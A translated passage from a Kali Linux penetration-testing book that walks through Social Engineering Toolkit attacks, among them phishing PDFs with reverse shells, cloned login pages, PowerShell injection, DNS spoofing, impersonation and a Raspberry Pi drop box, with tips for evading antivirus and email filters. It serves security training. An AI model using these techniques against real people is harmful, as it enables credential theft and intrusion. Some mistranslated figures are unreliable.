要在 Kali 发行版中打开社会工程工具包(SET),请转到应用程序 | Kali Linux | 利用工具 | 社会工程工具包 | setoolkit,或在 shell 提示符下输入setoolkit。将显示主菜单,如下截图所示:

社会工程工具包

如果选择“1)社会工程攻击”,将显示以下子菜单:

社会工程工具包

以下是对社会工程攻击的简要解释:

  • 鱼叉式网络钓鱼攻击向量允许攻击者创建电子邮件消息并将其发送给有附加攻击的目标受害者。

  • 网站攻击向量利用多种基于 Web 的攻击,包括以下内容:

  • Java 小程序攻击方法伪造 Java 证书并传递基于 Metasploit 的有效负载。这是最成功的攻击之一,对 Windows、Linux 或 OSX 目标有效。

  • Metasploit 浏览器利用方法使用 iFrame 攻击传递 Metasploit 有效负载。

  • 凭证收割者攻击方法克隆一个网站并自动重写 POST 参数,以允许攻击者拦截和收割用户凭证;然后在收割完成后将受害者重定向回原始网站。

  • Tabnabbing 攻击方法用克隆页面替换非活动浏览器选项卡上的信息,该页面链接回攻击者。当受害者登录时,凭证将发送给攻击者。

  • 网络劫持攻击方法利用 iFrame 替换使突出显示的 URL 链接看起来合法;但是,当它被点击时,会弹出一个窗口,然后被恶意链接替换。

  • 多攻击 Web 方法允许攻击者选择一次性发动的几种攻击,包括Java 小程序攻击方法Metasploit 浏览器利用方法凭证收割者攻击方法Tabnabbing 攻击方法中间人攻击方法

  • 传染性媒体生成器创建一个autorun.inf文件和 Metasploit 有效负载。一旦刻录或复制到 USB 设备或物理媒体(CD 或 DVD)并插入目标系统,它将触发自动运行(如果自动运行已启用)并 compromise 系统。

  • 创建有效负载和监听器模块是一种快速的菜单驱动方法,用于创建 Metasploit 有效负载。攻击者必须使用单独的社会工程攻击来说服目标启动它。

  • MassMailer 攻击允许攻击者向单个电子邮件地址或收件人列表发送多个定制的电子邮件。

  • 基于 Arduino 的攻击向量程序化 Arduino 设备,如 Teensy。因为这些设备在连接到物理 Windows 系统时注册为 USB 键盘,它们可以绕过基于禁用自动运行或其他端点保护的安全性。

  • 短信欺骗攻击向量允许攻击者向某人的移动设备发送精心制作的短信服务文本,并伪装消息的来源。

  • 无线接入点攻击向量将在攻击者系统上创建一个虚假的无线接入点和 DHCP 服务器,并将所有 DNS 查询重定向到攻击者。攻击者随后可以发动各种攻击,如 Java 小程序攻击或凭证窃取攻击。

  • QR 码生成器攻击向量创建一个与攻击相关的定义 URL 的 QR 码。

  • Powershell 攻击向量允许攻击者创建依赖于 PowerShell 的攻击,PowerShell 是一种命令行 shell 和脚本语言,适用于所有 Windows Vista 及更高版本。

  • 第三方模块允许攻击者使用远程管理工具 Tommy EditionRATTE),作为 Java 小程序攻击的一部分或作为独立有效载荷。RATTE 是一个文本菜单驱动的远程访问工具。

SEToolkit 还提供了快速跟踪渗透测试的菜单项,该菜单项可以快速访问一些支持 SQL 数据库的暴力识别和密码破解的专门工具,以及一些基于 Python、SCCM 攻击向量、戴尔计算机 DRAC/机箱利用、用户枚举和 PSEXEC PowerShell 注入的定制利用。

菜单还提供了更新 Metasploit Framework、SEToolkit 和 SEToolkit 配置的选项。但是,应避免使用这些附加选项,因为它们在 Kali 上得到的支持不完整,并且可能会导致依赖冲突。

作为 SEToolkit 优势的一个初始示例,我们将看到如何使用它来获得远程 shell——从受损系统到攻击者系统的连接。

网络钓鱼攻击

网络钓鱼是针对大量受害者进行的电子邮件欺诈攻击,比如已知的美国互联网用户名单。目标通常没有联系,电子邮件也不试图吸引任何特定个人。相反,它包含一个普遍感兴趣的项目(例如,“点击这里购买便宜的药物”)和一个恶意链接或附件。攻击者打赌至少有一些人会点击链接或附件来发起攻击。

另一方面,钓鱼攻击是一种高度特定的网络钓鱼攻击形式——通过以特定方式制作电子邮件消息,攻击者希望吸引特定受众的注意。例如,如果攻击者知道销售部门使用特定应用程序来管理其客户关系,他可能伪装成应用程序供应商发送一封电子邮件,主题是“<应用程序>的紧急修复-点击链接下载”。

提示

网络钓鱼攻击的成功率通常低于 5%;然而,网络钓鱼攻击的成功率范围为 40%至 80%。这就是为什么侦察阶段的信息对于这种类型的攻击的成功至关重要。

平均而言,只需要向目标发送十到十五封电子邮件,就至少会有一封被点击。

在发动攻击之前,请确保 Kali 上安装了sendmailapt-get install sendmail)并将set_config文件从SENDMAIL=OFF更改为SENDMAIL=ON

要发动攻击,请从主 SEToolkit 菜单中选择社会工程攻击,然后从子菜单中选择网络钓鱼攻击向量。这将启动攻击的开始选项,如下截图所示:

网络钓鱼攻击

选择1执行大规模电子邮件攻击;然后将显示攻击有效负载列表,如下截图所示:

鱼叉式网络钓鱼攻击

最有效的攻击之一是15) Adobe PDF Embedded EXE Social Engineering;然而,所选择的攻击将取决于攻击者在侦察阶段获得的可用目标的知识。

在提示要使用您自己的 PDF 还是内置的空白 PDF 进行攻击时,选择内置的空白有效载荷的选项2,如下面的屏幕截图所示。然后将提示您选择有效载荷。

鱼叉式网络钓鱼攻击

通过在多个网络上进行测试,我们发现选项12Windows Reverse TCP shellWindows Meterpreter Reverse TCP)是最可靠的有效载荷。在本示例中,我们将选择Windows Meterpreter Reverse TCP——当打开 PDF 时,它将执行一个反向 shell 返回到攻击系统。

在隐蔽性比可靠性更重要的情况下,Windows Meterpreter Reverse HTTPS是最佳选择。

SEToolkit 将提示输入有效载荷侦听器(攻击者的 IP 地址)和侦听端口,默认端口为443

下一个菜单提示更改 PDF 文件的文件名;默认名称为moo.pdf,如下面的屏幕截图所示。

鱼叉式网络钓鱼攻击

默认名称不太可能吸引潜在受害者打开文件;此外,它可能会被客户端安全识别。出于这些原因,文件名应更改。名称应反映被攻击的目标受众。例如,如果您的目标是财务组,给 PDF 文件一个标题,比如税法修正案。

现在,您将被提供攻击单个电子邮件地址或群发邮件的选项(例如,目标公司的员工列表或公司内的特定群体)。本示例选择了选项1

SEToolkit 然后会提示您使用预定义模板或制作一次性电子邮件模板。如果您选择预定义模板,将提供以下选项:

鱼叉式网络钓鱼攻击

有效的社会工程攻击是为目标而制定的;因此,选择选项2一次性使用电子邮件模板,以创建一次性使用电子邮件模板,如下面的屏幕截图所示:

鱼叉式网络钓鱼攻击

您将被提供使用您自己的 Gmail 帐户发动攻击(1)或使用您自己的服务器或开放中继(2)的选项。如果您使用 Gmail 帐户,攻击很可能会失败,您将收到以下消息:

[!] Unable to deliver email. Printing exceptions message
below, this is most likely due to an illegal attachment. If using GMAIL they inspect PDFs and it is most likely getting caught. 

Gmail 检查出站电子邮件中的恶意文件,并且非常有效地识别 SEToolkit 和 Metasploit Framework 生成的有效载荷。如果您必须使用 GMail 发送有效载荷,请使用Veil-Evasion对其进行编码。

建议您使用sendmail选项发送可执行文件;此外,它允许您伪造电子邮件的来源,使其看起来好像来自可信任的来源。

目标将收到以下电子邮件消息:

鱼叉式网络钓鱼攻击

为了确保电子邮件的有效性,攻击者应该注意以下几点:

  • 内容应提供“胡萝卜”(新服务器将更快,具有改进的防病毒功能)和“棍棒”(您必须在访问电子邮件之前进行的更改)。大多数人对立即行动的呼吁做出反应,特别是当它影响到他们时。

  • 在先前给出的示例中,附加的文档标题为template.doc。在实际情况下,这将更改为Email instructions.doc

  • 确保您的拼写和语法正确,并且消息的语气与内容相匹配。

  • 发送电子邮件的个人的标题应与内容相匹配。如果目标组织很小,您可能需要伪造一个真实个人的名字,并将电子邮件发送给一个通常不与该人互动的小组。

  • 包括电话号码 - 这使得电子邮件看起来更“正式”,并且有各种方法可以使用商业 VoIP 解决方案获得带有本地区号的临时电话号码。

一旦攻击邮件发送给目标,成功激活(接收者启动可执行文件)将在攻击者的系统上创建一个反向 Meterpreter 隧道。然后,攻击者将利用 Meterpreter 和其他工具进行典型的后渗透活动。

使用网站攻击向量 - Java 小程序攻击方法

Java 小程序攻击方法使用感染的 Java 小程序将恶意应用加载到目标系统上。许多攻击者青睐这种攻击,因为它非常可靠,并且对 Windows、Linux 和 Mac OS X 系统都有效。

要发动攻击,打开 SEToolkit 并从主菜单中选择选项2) 网站攻击向量。然后选择选项1) Java 小程序攻击方法,启动初始菜单,如下截图所示:

使用网站攻击向量 - Java 小程序攻击方法

网页模板的选项包括Java RequiredGmailGoogleFacebookTwitterYahoo。如下截图所示的Java Required页面通常很有效,因为它直接提示用户在继续之前更新重要的软件。

使用网站攻击向量 - Java 小程序攻击方法

您还可以选择克隆现有网站,比如目标公司的网站。

在做出选择后,攻击者将被提示确定是否使用端口/NAT 转发,并提供攻击机器的 IP 地址进行反向连接,如下截图所示:

使用网站攻击向量 - Java 小程序攻击方法

提示

SEToolkit 对文字换行处理不佳,通常输入的响应会回卷并覆盖命令行的一部分。

在提供所需的 URL 后,SEToolkit 将开始网站克隆过程,如下截图所示。完成后,应用程序将开始生成有效载荷和支持文件(.jar存档和克隆的index.html文件)。

使用网站攻击向量 - Java 小程序攻击方法

下一阶段包括有效载荷的选择。如果隐蔽特别重要,使用选项17选择使用veil编码的可执行文件,如下截图所示:

使用网站攻击向量 - Java 小程序攻击方法

选择编码选项以绕过目标系统上的本地防病毒软件;其中最有效的是第四个选项Backdoored Executable,如下截图所示:

使用网站攻击向量 - Java 小程序攻击方法

该应用程序将提示输入监听端口,然后开始在受害者的计算机上生成常用端口(255380443等)的代码,如下截图所示:

使用网站攻击向量 - Java 小程序攻击方法

现在是社会工程学的步骤 - 攻击者必须说服目标人员连接到监听系统的 IP 地址。如果目标进入该系统,他们将被引导到监听器上托管的克隆站点。

该网站将向目标人员显示安全警告,如下截图所示,指示需要执行应用程序才能访问该网站。

使用网站攻击向量 - Java 小程序攻击方法

如果用户选择执行该应用程序,将在他们的计算机和攻击者的计算机之间形成一个反向 shell(取决于所选的有效负载)。

所呈现的两种攻击展示了 SEToolkit 用于使用反向 shell 或类似有效载荷控制目标计算机的不同方法。攻击者可以通过多种方式扩展控制,例如使用 VNC 有效载荷或放置 RATTE。

然而,这些攻击是具有侵入性的 - 反向 shell 可能会触发防火墙的出站警报,因为它连接到攻击者的机器。更重要的是,有效载荷可能被反向工程化以识别有关攻击者的信息。

最后,攻击的目标可能不是立即妥协;相反,攻击者可能希望收集用户凭证以支持以后的攻击,或在互联网上的多个地方重复使用凭证。因此,让我们来看一下凭证收割攻击。

使用网站攻击向量 - 凭证收割者攻击方法

凭证通常是用户名和密码,可以让一个人访问网络、计算系统和数据。攻击者可以间接使用这些信息(通过登录受害者的 Gmail 帐户并发送电子邮件来促成对受害者信任连接的攻击),或直接针对用户的帐户。鉴于凭证的广泛重复使用,这种攻击尤其相关 - 用户通常在多个地方重复使用密码。

特别珍贵的是具有特权访问权限的人的凭证,例如系统管理员或数据库管理员,这可以让攻击者访问多个帐户和数据存储库。

SEToolkit 的凭证收割攻击使用克隆站点来收集凭证。

要发动这种攻击,从主菜单中选择网站攻击向量,然后选择凭证收割者攻击方法。在这个例子中,我们将按照菜单选择来克隆一个网站,比如 Facebook。

再次,目标 IP 地址必须发送给预定目标。当目标点击链接或输入 IP 地址时,他们将看到一个类似于 Facebook 常规登录页面的克隆页面,并被提示输入他们的用户名和密码。

完成后,用户将被重定向到常规的 Facebook 网站,在那里他们将登录到他们的帐户。

在后台,他们的访问凭证将被收集并转发给攻击者。他们将在监听窗口中看到以下条目:

使用网站攻击向量 - 凭证收割者攻击方法

当攻击者收集完凭证后,输入CTRL + C 将在/SET/reports目录中以 XML 和 HTML 格式生成两份报告。

类似的攻击选项是Web Jacking Attack。当受害者打开攻击者的链接时,他们将看到一个页面,通知他们选择的页面已经移动,如下面的屏幕截图所示:

使用网站攻击向量 - 凭证收割者攻击方法

当用户点击链接前往新位置时,他们将看到一个看起来像预期页面的克隆页面,如下面的屏幕截图所示;同样,页面将收割他们的登录凭证。

使用网站攻击向量 - 凭证收割者攻击方法

注意

请注意,URL 栏中的地址不是 Google 的有效地址;大多数用户如果能看到这个地址,就会意识到有问题。成功的利用需要攻击者准备好一个合适的借口或故事,使受害者接受异常的 URL。例如,向一个非技术经理的目标群体发送电子邮件,宣布“本地 Google 邮件站现在由 IT 托管,以减少邮件系统中的延迟”。

凭据收割攻击是评估企业网络安全的绝佳工具。要有效,组织必须首先培训所有员工如何识别和应对钓鱼攻击。大约两周后,发送一封包含一些明显错误(公司 CEO 的错误姓名或包含错误地址的地址块)和一个收集凭据的程序链接的公司范围内的电子邮件。计算回复其凭据的收件人的百分比,然后调整培训计划以减少这一百分比。

使用网站攻击向量 - Tabnabbing 攻击方法

Tabnabbing 通过在浏览器的一个打开标签中加载一个假页面来利用用户的信任。通过冒充 Gmail、Facebook 或任何其他发布数据的网站的页面(通常是用户名和密码),Tabnabbing 攻击可以收集受害者的凭据。社会工程工具包调用了我们之前描述的凭据收割攻击。

要发动这次攻击,从控制台提示中启动社会工程工具包,然后选择1) 社会工程攻击。在下一个菜单中,选择2) 网站攻击向量。通过选择4) Tabnabbing 攻击方法来发动 Tabnabbing 攻击。

攻击发动时,您将被提示三个选项来生成用于收集凭据的假网站。攻击者可以允许setoolkit导入预定义的网站应用程序列表,克隆网站(如 Gmail),或导入他们自己的网站。在这个例子中,我们将选择2) 网站克隆器

这将提示攻击者输入服务器将 POST 到的 IP 地址;这通常是攻击者系统的 IP 地址。然后攻击者将被提示输入要克隆的网站的 URL。在下图中,选择了 Gmail 的网站。

然后攻击者必须利用社会工程学来迫使受害者访问用于回传操作的 IP 地址(例如,URL 缩短)。受害者将收到一个网站正在加载的消息(因为攻击脚本在浏览器的不同标签中加载克隆的网站,如下图所示):

使用网站攻击向量 - Tabnabbing 攻击方法

然后目标将被呈现出假页面(假 IP 地址仍然可见)。如果用户输入他们的用户名和密码,数据将被发布到攻击者系统上的监听器。如下图所示,它已经捕获了用户名和密码。

使用网站攻击向量 - Tabnabbing 攻击方法

使用网站攻击向量 - 多重攻击 Web 方法

网站攻击向量的“hail Mary”攻击是多重攻击 Web 方法,允许攻击者一次实施多种不同的攻击。默认情况下,所有攻击都被禁用,攻击者选择要针对受害者运行的攻击,如下图所示:

使用网站攻击向量 - 多重攻击 Web 方法

如果您不确定哪些攻击对目标组织有效,这是一个有效的选择;选择一个员工,确定成功的攻击,然后对其他员工重复使用这些攻击。

使用 PowerShell 字母数字 shellcode 注入攻击

社会工程工具包还包括基于 PowerShell 的更有效攻击,这在发布 Microsoft Vista 后的所有 Microsoft 操作系统上都可用。因为 PowerShell shellcode 可以轻松注入到目标的物理内存中,使用这个向量的攻击不会触发反病毒警报。

要使用setoolkit发动 PowerShell 注入攻击,从主菜单中选择1) 社会工程攻击。然后从下一个菜单中选择10) Powershell 攻击向量

这将给攻击者四种攻击类型的选择;在这个例子中,选择1来调用PowerShell 字母数字 shellcode 注入器

这将设置攻击参数,并提示攻击者输入载荷监听器的 IP 地址,通常是攻击者的 IP 地址。输入后,程序将创建利用代码并启动本地监听器。

启动攻击的 PowerShell shellcode 存储在/root/.set/reports/powershell/x86_powershell_injection.txt中。

当攻击者说服受害者在命令提示符上复制x86_powershell_injection.txt的内容,并执行代码时,社会工程攻击的一部分就发生了,如下截图所示。

使用 PowerShell 字母数字 shellcode 注入攻击

如下截图所示,执行 shellcode 并没有在目标系统上触发反病毒警报。相反,当代码执行时,它在攻击系统上打开了一个 meterpreter 会话,并允许攻击者与远程系统建立交互式 shell。

使用 PowerShell 字母数字 shellcode 注入攻击

隐藏可执行文件并混淆攻击者的 URL

如前面的例子所示,发动社会工程攻击的成功有两个关键。第一个是获取使其生效所需的信息——用户名、业务信息以及有关网络、系统和应用程序的支持细节。

然而,大部分工作重点放在第二个方面上——精心设计攻击,诱使目标打开可执行文件或点击链接。

几种攻击会生成需要受害者执行才能成功的模块。不幸的是,用户越来越警惕执行未知软件。然而,有一些方法可以增加攻击成功执行的可能性,包括以下方法:

  • 从受害者已知和信任的系统发起攻击,或者欺骗攻击源。如果攻击似乎来自帮助台或 IT 支持,并声称是“紧急软件更新”,那么它很可能会被执行。

  • 将可执行文件重命名为类似于受信任软件的名称,比如“Java 更新”。

  • 将恶意载荷嵌入到诸如 PDF 文件之类的良性文件中,使用 Metasploit 的adobe_pdf_embedded_exe_nojs攻击之类的攻击。可执行文件也可以绑定到 Microsoft Office 文件、MSI 安装文件或配置为在桌面上静默运行的 BAT 文件。

  • 让用户点击一个链接,下载恶意可执行文件。

由于 SEToolkit 使用攻击者的 URL 作为其攻击的目的地,关键的成功因素是确保攻击者的 URL 对受害者是可信的。有几种技术可以实现这一点,包括以下方法:

  • 使用像goo.gltinyurl.com这样的服务缩短 URL。缩短的 URL 在 Twitter 等社交媒体中很常见,受害者很少在点击此类链接时采取预防措施。

  • 在社交媒体网站上输入链接,如 Facebook 或 LinkedIn;该网站将创建自己的链接来替换你的链接,并附上目标页面的图片。然后,删除你输入的链接,只留下新的社交媒体链接。

  • 在 LinkedIn 或 Facebook 上创建一个假的网页——作为攻击者,你控制内容,并可以创建一个引人注目的故事,驱使成员点击链接或下载可执行文件。一个精心设计的页面不仅会针对员工,还会针对供应商、合作伙伴和他们的客户,最大程度地提高社会工程攻击的成功率。

  • 将链接嵌入到诸如 PowerPoint 之类的文件中。

要在 PowerPoint 中嵌入链接,启动它并将扩展名保存为.pps,创建一个幻灯片放映。给演示文稿一个对目标人感兴趣的标题,并创建一些通用内容文件。在首页,插入一个文本框,并将框拖动到覆盖该幻灯片的整个表面。单击插入,然后选择操作选项卡。在对话框中,单击超链接单选按钮,然后从下拉菜单中选择URL。输入用于发动攻击的 URL,如下面的屏幕截图所示:

隐藏可执行文件和混淆攻击者的 URL

文件打开后,它将作为全屏幻灯片放映。因为攻击是通过鼠标悬停启动的,用户在尝试关闭文档时将启动攻击。

使用 DNS 重定向升级攻击

如果攻击者或渗透测试人员已经攻破了内部网络上的主机,他们可以使用 DNS 重定向来升级攻击。这通常被认为是一种水平攻击(它会危害大致具有相同访问权限的人);但是,如果捕获了特权人员的凭据,它也可以垂直升级。

在这个例子中,我们将使用 ettercap 作为交换式局域网的嗅探器、拦截器和记录器。它促进了中间人攻击,但我们将使用它来发动 DNS 重定向攻击,将用户转移到我们用于社会工程攻击的网站。

要启动攻击,我们必须首先修改位于/etc/ettercap/etter.dns的 ettercap 配置文件,将查询重定向到我们的恶意站点。在配置文件中找到使用 Microsoft 站点的示例;复制相同的细节以将目标站点请求重定向到恶意 IP 地址,如下面的屏幕截图所示:

使用 DNS 重定向升级攻击

通过在命令提示符下键入ettercap –G以图形模式启动 ettercap。从嗅探选项卡中,从下拉菜单中选择统一嗅探,如下面的屏幕截图所示:

使用 DNS 重定向升级攻击

在提示选择网络接口时,选择内部网络的eth0(如您所见,ettercap 还将在选择不同接口时支持无线攻击)。您会看到选项卡式菜单发生变化,给您更多选项。

主机选项卡中,从下拉菜单中选择扫描主机。它将进行快速扫描,然后报告“x 个主机已添加到主机列表”。从主机选项卡中,选择主机列表以查看可能的目标系统列表,如下面的屏幕截图所示:

使用 DNS 重定向升级攻击

突出显示您希望定位的已识别系统(例如,位于交换式局域网相同段上的所有主机),并选择添加到目标 1选项卡。

完成后,选择插件选项卡,这将为您提供可供使用的 ettercap 插件列表。选择ec_dns_spoof.so插件,如下面的屏幕截图所示:

使用 DNS 重定向升级攻击

要发动攻击,选择Mitm选项卡,并从下拉菜单中选择ARP 欺骗,如下面的屏幕截图所示。ettercap 将在所选系统上毒化地址解析协议表或缓存。

使用 DNS 重定向升级攻击

当选择 ARP 欺骗时,将提供可选参数。选择嗅探远程连接的参数。然后,转到开始选项卡,并选择开始统一嗅探。

当任何一个被攻击的系统上的用户尝试访问 Facebook 时,他们的缓存表将无法为他们提供互联网上的位置。Ettercap 将把他们的查找重定向到你在配置文件中提供的 URL,并且用户将被引导到攻击者准备的敌对网页,并且将受到诸如凭证窃取之类的攻击。

在任何时候,被攻击的人都会在他们的浏览器窗口中看到一个明显正确的 URL。

DNS 重定向可以用于促进依赖用户点击 URL 链接发起攻击的所有攻击,并且这适用于有线和无线网络。

物理接触和敌对设备

Kali 和 SEToolkit 还可以促进攻击,入侵者直接物理接触系统和网络。这可能是一种风险攻击,因为入侵者可能会被警觉的人发现,或者被监视设备抓住。然而,奖励可能是巨大的,因为入侵者可以 compromise 具有有价值数据的特定系统。

物理接触通常是社会工程学的直接结果,特别是在使用冒充的情况下。常见的冒充包括以下内容:

  • 一个声称来自帮助台或 IT 支持的人,只需要快速打断受害者安装系统升级。

  • 一个供应商去拜访客户,然后借口去和其他人交谈或去洗手间。

  • 一个送货员送货。攻击者可以选择在网上购买送货员制服;然而,由于大多数人认为任何穿着全身棕色并推着装满箱子的手推车的人都是 UPS 的送货员,制服很少是社会工程学的必要条件!

  • 穿着工作服的工匠,携带着他们打印出来的“工作订单”,通常被允许进入布线间和其他区域,特别是当他们声称是应建筑经理的要求而在场时。

  • 穿着昂贵的西装,携带剪贴板,走得很快——员工会认为你是一个不认识的经理。在进行这种类型的渗透时,我们通常会告诉人们我们是审计员,我们的检查很少受到质疑。

敌对物理接触的目标是迅速损害选定的系统;这通常是通过在目标上安装后门或类似设备来实现的。

经典攻击之一是将 CD-ROM、DVD 或 USB 键放入系统中,并让系统使用自动播放选项安装它;然而,许多组织在整个网络上禁用了自动播放。

攻击者还可以创建“有毒诱饵”陷阱——包含邀请人点击文件并检查其内容的文件的移动设备。一些例子包括以下内容:

  • USB 键带有标签,如员工工资或医疗保险更新。

  • Metasploit 允许攻击者将一个有效载荷(如反向 shell)绑定到一个可执行文件,如屏幕保护程序。攻击者可以使用公开可用的公司图像创建一个屏幕保护程序,并将 CD 邮寄给员工,带有新的认可的屏幕保护程序。当用户安装该程序时,后门也被安装,并连接到攻击者。

  • 如果你知道员工最近参加了一个会议,攻击者可以冒充出席的供应商,并发送给目标一封暗示这是供应商展会后续的信件。一个典型的消息将是,“如果你错过了我们的产品演示和一年免费试用,请通过点击 start.exe 查看附加的 USB 键上的幻灯片展示”。

一个有趣的变种是 SanDisk U3 USB 键,或者 Smart Drive。U3 键预装了启动软件,当插入时自动允许键直接向主机计算机写入文件或注册表信息,以帮助启动批准的程序。u3-pwn工具(Kali Linux | 维持访问 | 操作系统后门 | u3-pwn)从 SanDisk U3 中删除原始 ISO 文件,并用敌意的 Metasploit 有效负载替换,然后对其进行编码,以避免在目标系统上被检测到。

不幸的是,对这些 USB 设备的支持正在减少,它们仍然容易受到与其他 Metasploit 有效负载相同程度的检测。

一个新兴的选择是使用 Teensy——一个小型集成电路设备,插入 Windows 系统后会注册为 USB 键盘。这使得它可以绕过禁用自动运行或使用客户端反病毒软件的系统。Teensy 可以在亚马逊上购买,价格大约为 20 到 25 美元。

setoolkit生成了 Teensy 所需的代码,将其转变为攻击向量,如下图所示:

物理访问和敌意设备

配置为敌意代理的 Teensy 非常强大;在对企业客户进行渗透测试时,我们的测试人员已经证明了至少有百分之百的机会能够感染每个被测试网络上的至少一个系统!

不幸的是,这些设备存在一个重大限制——它们只能执行它们被编程执行的任务,攻击者或渗透测试人员在发现后的利用能力有限。

为了弥补这一不足,攻击者现在正在使用微型计算机,比如树莓派,作为攻击向量。

树莓派攻击向量

树莓派是一台微型计算机——大约尺寸为 8.5 厘米 X5.5 厘米,但它装有 512MB 的 RAM,两个 USB 端口和一个由 ARM 处理器运行的 700MHz 的以 Broadcom 芯片支持的以太网端口(可以超频到 1GHz)。它不包括硬盘,而是使用 SD 卡进行数据存储。如下图所示,树莓派大约是笔的三分之二长度;它很容易隐藏在网络中(在工作站或服务器后面,放在服务器柜内,或者隐藏在数据中心的地板板下)。

树莓派攻击向量

要将树莓派配置为攻击向量,需要以下物品:

  • 树莓派 B 型,或更新版本

  • 一个 HDMI 电缆

  • 一个 Micro USB 电缆和充电块

  • 一个以太网电缆或迷你无线适配器

  • 一张至少 8GB 的 SD 卡,Class 10

所有这些物品通常可以在线购买,总价不到 100 美元。

要配置树莓派,下载最新版本的 Kali Linux ARM 版,并从源存档中提取。如果你是从基于 Windows 的桌面配置的,那么下载并提取 Win32DiskImager(sourceforge.net/projects/win32diskimager/)。

使用读卡器,将 SD 卡连接到基于 Windows 的计算机,并打开Win32DiskImager。选择 Kali 的 ARM 版本,kali-custom-rpi.img,该版本已经下载并提取,然后将其写入 SD 卡。这将需要一些时间。

从 Mac 或 Linux 系统刷写 SD 卡的单独说明可在 Kali 网站上找到。

将新刷好的 SD 卡插入树莓派,并将以太网电缆或无线适配器连接到 Windows 工作站,HDMI 电缆连接到显示器,Micro USB 电源线连接到电源。供电后,它将直接启动 Kali Linux。树莓派依赖外部电源,没有单独的开关;但是,Kali 仍然可以通过命令行关闭。

安装 Kali 后,确保使用 apt-get 命令进行更新。

确保尽快更改 SSH 主机密钥,因为所有的树莓派镜像都有相同的密钥。使用以下命令:

root@kali:~rm /etc/ssh/ssh_host_*
root@kali:~dpkg-reconfigure openssh-server
root@kali:~ service ssh restart

同时,确保更改默认用户名和密码。

下一步是配置树莓派定期连接回攻击者的计算机(使用静态 IP 地址或动态 DNS 寻址服务)使用cron

然后,攻击者必须亲自进入目标的场所,并将树莓派连接到网络。大多数网络会自动分配设备一个 DHCP 地址,并且对这种类型的攻击有限的控制。

一旦树莓派连接回攻击者的 IP 地址,攻击者可以从远程位置使用 SSH 发出命令,对受害者的内部网络进行侦察和利用应用程序。

如果连接了无线适配器,比如 EW-7811Un,150 Mbps 无线 802.11b/g/n 纳米 USB 适配器,攻击者可以无线连接,或者使用树莓派发动无线攻击(第八章,利用无线通信)。

摘要

社会工程学是一种黑客人类的方法-利用人的天生信任和乐于助人的特点来攻击网络及其设备。

在本章中,我们研究了社会工程如何被用来促进旨在收集网络凭证、激活恶意软件或协助发动进一步攻击的攻击。大多数攻击依赖于社会工程工具包;然而,Kali 还有其他几个应用程序,可以使用社会工程学方法进行改进。我们还研究了如何利用物理访问,通常与社会工程学结合使用,来在目标网络上放置敌对设备。

在下一章中,我们将研究如何对无线网络进行侦察,并攻击开放网络以及受到基于 WEP、WPA 和 WPA2 加密方案保护的网络。我们还将研究无线协议的一般弱点,使其容易受到拒绝服务攻击和冒充攻击的影响。

第八章:利用无线通信

随着移动设备的主导地位和提供即时网络连接的需求,无线网络已成为通往互联网的无处不在的接入点。不幸的是,无线访问的便利性伴随着有效攻击的增加,导致访问和数据的窃取,以及网络资源的拒绝服务。Kali 提供了几个工具来配置和发动这些无线攻击,使组织能够提高安全性。

在本章中,我们将研究几个日常维护任务和无线攻击,包括:

  • 配置 Kali 进行无线攻击

  • 无线侦察

  • 绕过 MAC 地址认证

  • 破解 WEP 加密

  • 攻击 WPA 和 WPA2

  • 无线攻击和社会工程学-克隆接入点

  • 拦截通信-中间人无线攻击

  • 中间人无线攻击

  • 拒绝服务(DoS)攻击无线通信

配置 Kali 进行无线攻击

Kali Linux 发布了几个工具,以便测试无线网络;然而,这些攻击需要进行广泛的配置才能发挥完整的效果。此外,测试人员在实施攻击或审计无线网络之前,应该具备扎实的无线网络背景。

无线安全测试中最重要的工具是无线适配器,它连接到无线接入点。它必须支持所使用的工具,特别是aircrack-ng套件工具;特别是,适配器的芯片组和驱动程序必须具有将无线数据包注入通信流的能力。这是对需要将特定数据包类型注入到目标和受害者之间的流量中的攻击的要求。注入的数据包可以导致拒绝服务,使攻击者能够捕获破解加密密钥或支持其他无线攻击所需的握手数据。

aircrack-ng网站(www.aircrack-ng.org)包含已知兼容的无线适配器列表。

可以与 Kali 一起使用的最可靠的适配器是 ALFA NETWORK 卡,特别是AWUS036NH适配器,它支持无线 802.11 b、g 和 n 协议。Alfa 卡在网上很容易获得,并将支持使用 Kali 进行的所有测试和攻击。

无线侦察

进行无线攻击的第一步是进行侦察——这将确定确切的目标接入点,并突出显示可能影响测试的其他无线网络。

如果您使用 USB 连接的无线网卡连接到 Kali 虚拟机,请确保 USB 连接已从主机操作系统断开,并通过单击 USB 连接图标将其连接到 VM,该图标在以下截图中由箭头表示:

无线侦察

接下来,通过从命令行运行iwconfig来确定可用的无线接口,如下截图所示:

无线侦察

对于某些攻击,您可能希望增加适配器的功率输出。如果您与合法的无线接入点共处,并且希望目标连接到您控制的虚假接入点而不是合法接入点,则这是非常有用的。这些虚假的,或流氓,接入点允许攻击者拦截数据并根据需要查看或更改数据以支持攻击。攻击者经常会复制或克隆一个合法的无线站点,然后增加其传输功率以吸引受害者。要增加功率,使用以下命令:

kali@linux:~# iwconfig wlan0 txpower 30

许多攻击将使用aircrack-ng及其相关工具进行。首先,我们需要能够拦截或监视无线传输;因此,我们需要使用airmon-ng命令将 Kali 通信接口设置为监视模式

kali@linux:~# airmon-ng start wlan0

执行上一个命令的结果显示在以下截图中:

无线侦察

请注意,返回的描述表明有一些进程可能会引起麻烦。处理这些进程的最有效方法是使用全面的 kill 命令,如下所示:

root@kali:~# airmon-ng check kill

要查看本地无线环境,请使用以下命令:

root@kali:~# airodump-ng mon0

上一个命令列出了可以在特定时间点内在无线适配器范围内找到的所有已识别的网络。它提供了网络上无线节点的 BSSID,由 MAC 地址标识,相对输出功率的指示,发送的数据包信息,包括使用的信道的带宽信息,以及数据,加密使用的信息,以及 ESSID,提供了无线网络的名称。此信息显示在以下截图中;非必要的 ESSID 已被模糊处理:

无线侦察

airodump命令循环遍历可用的无线信道,并识别以下内容:

  • 基本服务集标识符(BSSID),这是唯一的 MAC 地址,用于识别无线接入点或路由器。

  • 每个网络的PWR或功率。虽然airodump-ng错误地显示功率为负,但这是一种报告工件。要获得正确的正值,请访问终端并运行airdriver-ng unload 36,然后运行airdriver-ng load 35

  • CH显示正在使用的信道。

  • ENC显示正在使用的加密——如果没有使用加密,则为OPN或开放,如果使用了加密,则为WEPWPA/WPA2CIPHERAUTH提供额外的加密信息。

  • 扩展服务集标识符(ESSID)是由共享相同 SSID 或名称的接入点组成的无线网络的通用名称。

在终端窗口的下部,您将看到试图连接或已连接到无线网络的站点。

